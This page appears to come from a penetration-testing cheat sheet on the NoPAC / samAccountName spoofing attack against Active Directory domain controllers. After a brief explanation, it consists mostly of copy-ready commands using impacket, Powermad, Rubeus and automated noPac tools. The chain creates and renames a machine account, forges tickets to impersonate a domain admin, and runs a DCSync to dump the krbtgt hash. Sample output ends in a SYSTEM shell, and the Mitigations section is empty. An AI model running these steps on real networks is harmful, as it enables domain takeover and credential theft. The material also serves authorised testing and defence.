Skip to content

NoPAC / samAccountName Spoofing

During S4U2Self, the KDC will try to append a '\$' to the computer name specified in the TGT, if the computer name is not found. An attacker can create a new machine account with the sAMAccountName set to a domain controller's sAMAccountName - without the '\$'. For instance, suppose there is a domain controller with a sAMAccountName set to 'DC\$'. An attacker would then create a machine account with the sAMAccountName set to 'DC'. The attacker can then request a TGT for the newly created machine account. After the TGT has been issued by the KDC, the attacker can rename the newly created machine account to something different, e.g. JOHNS-PC. The attacker can then perform S4U2Self and request a ST to itself as any user. Since the machine account with the sAMAccountName set to 'DC' has been renamed, the KDC will try to find the machine account by appending a '$', which will then match the domain controller. The KDC will then issue a valid ST for the domain controller.

Requirements

  • MachineAccountQuota > 0

Check for exploitation

  1. Check the MachineAccountQuota of the account 
    netexec ldap 10.10.10.10 -u username -p 'Password123' -d 'domain.local' --kdcHost 10.10.10.10 -M MAQ
StandIn.exe --object ms-DS-MachineAccountQuota=*
  2. Check if the DC is vulnerable 
    netexec smb 10.10.10.10 -u '' -p '' -d domain -M nopac

Exploitation

  1. Create a computer account 
    impacket@linux> addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'

powermad@windows> . .\Powermad.ps1
powermad@windows> $password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
powermad@windows> New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose

sharpmad@windows> Sharpmad.exe MAQ -Action new -MachineAccount ControlledComputer -MachinePassword ComputerPassword
  2. Clear the controlled machine account servicePrincipalName attribute 
    krbrelayx@linux> addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController

powershell@windows> . .\Powerview.ps1
powershell@windows> Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose
  3. (CVE-2021-42278) Change the controlled machine account sAMAccountName to a Domain Controller's name without the trailing $ 
    # https://github.com/SecureAuthCorp/impacket/pull/1224
impacket@linux> renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'

powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose
  4. Request a TGT for the controlled machine account 
    impacket@linux> getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'

cmd@windows> Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap
  5. Reset the controlled machine account sAMAccountName to its old value 
    impacket@linux> renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'

powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose
  6. (CVE-2021-42287) Request a service ticket with S4U2self by presenting the TGT obtained before 
    # https://github.com/SecureAuthCorp/impacket/pull/1202
impacket@linux> KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'

cmd@windows> Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]
  7. DCSync 
    KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'

Automated exploitation:

  • cube0x0/noPac - Windows 
    noPac.exe scan -domain htb.local -user user -pass 'password123'
noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt
noPac.exe -domain htb.local -user domain_user -pass "Password123!" /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service ldaps /ptt /impersonate Administrator
  • Ridter/noPac - Linux 
    python noPac.py 'domain.local/user' -hashes ':31d6cfe0d16ae931b73c59d7e0c089c0' -dc-ip 10.10.10.10 -use-ldap -dump
  • WazeHell/sam-the-admin 
    $ python3 sam_the_admin.py "domain/user:password" -dc-ip 10.10.10.10 -shell
[*] Selected Target dc.caltech.white                                              
[*] Total Domain Admins 11                                                        
[*] will try to impersonat gaylene.dreddy                                         
[*] Current ms-DS-MachineAccountQuota = 10                                        
[*] Adding Computer Account "SAMTHEADMIN-11$"                                     
[*] MachineAccount "SAMTHEADMIN-11$" password = EhFMT%mzmACL                      
[*] Successfully added machine account SAMTHEADMIN-11$ with password EhFMT%mzmACL.
[*] SAMTHEADMIN-11$ object = CN=SAMTHEADMIN-11,CN=Computers,DC=caltech,DC=white   
[*] SAMTHEADMIN-11$ sAMAccountName == dc                                          
[*] Saving ticket in dc.ccache                                                    
[*] Resting the machine account to SAMTHEADMIN-11$                                
[*] Restored SAMTHEADMIN-11$ sAMAccountName to original value                     
[*] Using TGT from cache                                                          
[*] Impersonating gaylene.dreddy                                                  
[*]     Requesting S4U2self                                                       
[*] Saving ticket in gaylene.dreddy.ccache                                        
[!] Launching semi-interactive shell - Careful what you execute                   
C:\Windows\system32>whoami                                                        
nt authority\system
  • ly4k/Pachine 
    usage: pachine.py [-h] [-scan] [-spn SPN] [-impersonate IMPERSONATE] [-domain-netbios NETBIOSNAME] [-computer-name NEW-COMPUTER-NAME$] [-computer-pass password] [-debug] [-method {SAMR,LDAPS}] [-port {139,445,636}] [-baseDN DC=test,DC=local]
              [-computer-group CN=Computers,DC=test,DC=local] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] -dc-host hostname [-dc-ip ip]
              [domain/]username[:password]
$ python3 pachine.py -dc-host dc.domain.local -scan 'domain.local/john:Passw0rd!'
$ python3 pachine.py -dc-host dc.domain.local -spn cifs/dc.domain.local -impersonate administrator 'domain.local/john:Passw0rd!'
$ export KRB5CCNAME=$PWD/administrator@domain.local.ccache
$ impacket-psexec -k -no-pass 'domain.local/administrator@dc.domain.local'

Mitigations:

References